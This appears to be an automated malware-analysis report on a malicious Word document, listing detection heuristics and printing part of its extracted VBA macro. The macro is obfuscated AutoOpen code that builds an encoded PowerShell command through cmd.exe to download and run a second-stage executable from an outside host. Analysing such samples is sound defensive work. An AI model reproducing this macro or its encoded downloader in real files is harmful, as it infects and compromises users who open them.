Malware Insights
The sample contains a VBA macro with an AutoOpen subroutine that utilizes the Shell() function. This macro constructs and executes a PowerShell command, indicated by the obfuscated string which decodes to 'md.exe / P^O^W^r^s^H^l^L.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^...'. This PowerShell command is designed to download and execute a second-stage payload. The presence of the AutoOpen macro and the Shell() call strongly suggests a malicious intent to compromise the user's system upon opening the document.
Heuristics 7
-
ClamAV: Doc.Malware.00536d-6731839-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.00536d-6731839-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10905 bytes |
SHA-256: e58dd343b8e3b9b38c79f34afca9d9fc7ca14a09bad87d5c918399a51e9ddcce |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const KUhaXOvawyiYPiboQEiJodOvopPiTYf = 0 Sub AutoOpen() On Error Resume Next Dim rElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo rElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo = IsNull(Choose(10, "vYfEPzOgOBOaEayZ", "rElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo", "vYfEPzOgOBOaEayZrElAiAjIbUFAVABudEPTyJigoPAqIreLeRobo")) IsError CVErr(654) Call IsNull(654 - 10 * 11) If Len(vYfEPzOgOBOaEayZ) > Len(CStr(Hex(654))) Then Call IsError(CVErr(CInt(CStr(vYfEPzOgOBOaEayZ)))) End If WWYPIsIxokEtYVrITEzIRAfITIbwaQEv = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8" Dim caHbOjaGyqEsQOBItOdoVrukIlI caHbOjaGyqEsQOBItOdoVrukIlI = IsNull(Choose(3, "EkalUhaVeRUQJoT", "caHbOjaGyqEsQOBItOdoVrukIlI", "EkalUhaVeRUQJoTcaHbOjaGyqEsQOBItOdoVrukIlI")) IsError CVErr(8815) Call IsNull(8815 - 3 * 13) If Len(EkalUhaVeRUQJoT) > Len(CStr(Hex(8815))) Then Call IsError(CVErr(CInt(CStr(EkalUhaVeRUQJoT)))) End If rinEFiZoBAZaRUiVyKIMYbmOPYsoMEKikifemYP = "^A^L^w^B^k^A^G^U^A^Y^Q^B^s^A^G^E^A^Z^A^B^5^A^G^4^A^b^w^B^1^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^3^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^D" Dim izonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu izonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu = IsNull(Choose(6, "LsemytegUXAUv", "izonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu", "LsemytegUXAUvizonaMamyvyweWAMaipOioPIViZoMaPOziJGUSUWu")) IsError CVErr(9363) Call IsNull(9363 - 6 * 13) If Len(LsemytegUXAUv) > Len(CStr(Hex(9363))) Then Call IsError(CVErr(CInt(CStr(LsemytegUXAUv)))) End If Dim aUqAQopiJywruhEqAayDIlaQiiPIi aUqAQopiJywruhEqAayDIlaQiiPIi = IsNull(Choose(9, "madIqiaYKyjooDYtOQO", "aUqAQopiJywruhEqAayDIlaQiiPIi", "madIqiaYKyjooDYtOQOaUqAQopiJywruhEqAayDIlaQiiPIi")) IsError CVErr(3140) Call IsNull(3140 - 9 * 11) If Len(madIqiaYKyjooDYtOQO) > Len(CStr(Hex(3140))) Then Call IsError(CVErr(CInt(CStr(madIqiaYKyjooDYtOQO)))) End If Dim UxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO UxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO = IsNull(Choose(6, "wYpEGuQIGYGYZA", "UxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO", "wYpEGuQIGYGYZAUxIWyHYxIBOSEWihUwAJmOmymetirOLYWUpO")) IsError CVErr(8978) Call IsNull(8978 - 6 * 11) If Len(wYpEGuQIGYGYZA) > Len(CStr(Hex(8978))) Then Call IsError(CVErr(CInt(CStr(wYpEGuQIGYGYZA)))) End If Dim cykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu cykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu = IsNull(Choose(2, "zeSOSaCiJEQexapeJACyb", "cykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu", "zeSOSaCiJEQexapeJACybcykzoJOiyhadISihINysYlEjAQONENjANoBuBYkyVu")) IsError CVErr(2273) Call IsNull(2273 - 2 * 13) If Len(zeSOSaCiJEQexapeJACyb) > Len(CStr(Hex(2273))) Then Call IsError(CVErr(CInt(CStr(zeSOSaCiJEQexapeJACyb)))) End If Dim KyKecaQAJecAYrUNidafutea KyKecaQAJecAYrUNidafutea = IsNull(Choose(5, "SUMigEsOTeLYTiDyiuqYwuPU", "KyKecaQAJecAYrUNidafutea", "SUMigEsOTeLYTiDyiuqYwuPUKyKecaQAJecAYrUNidafutea")) IsError CVErr(4031) Call IsNull(4031 - 5 * 10) If Len(SUMigEsOTeLYT ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.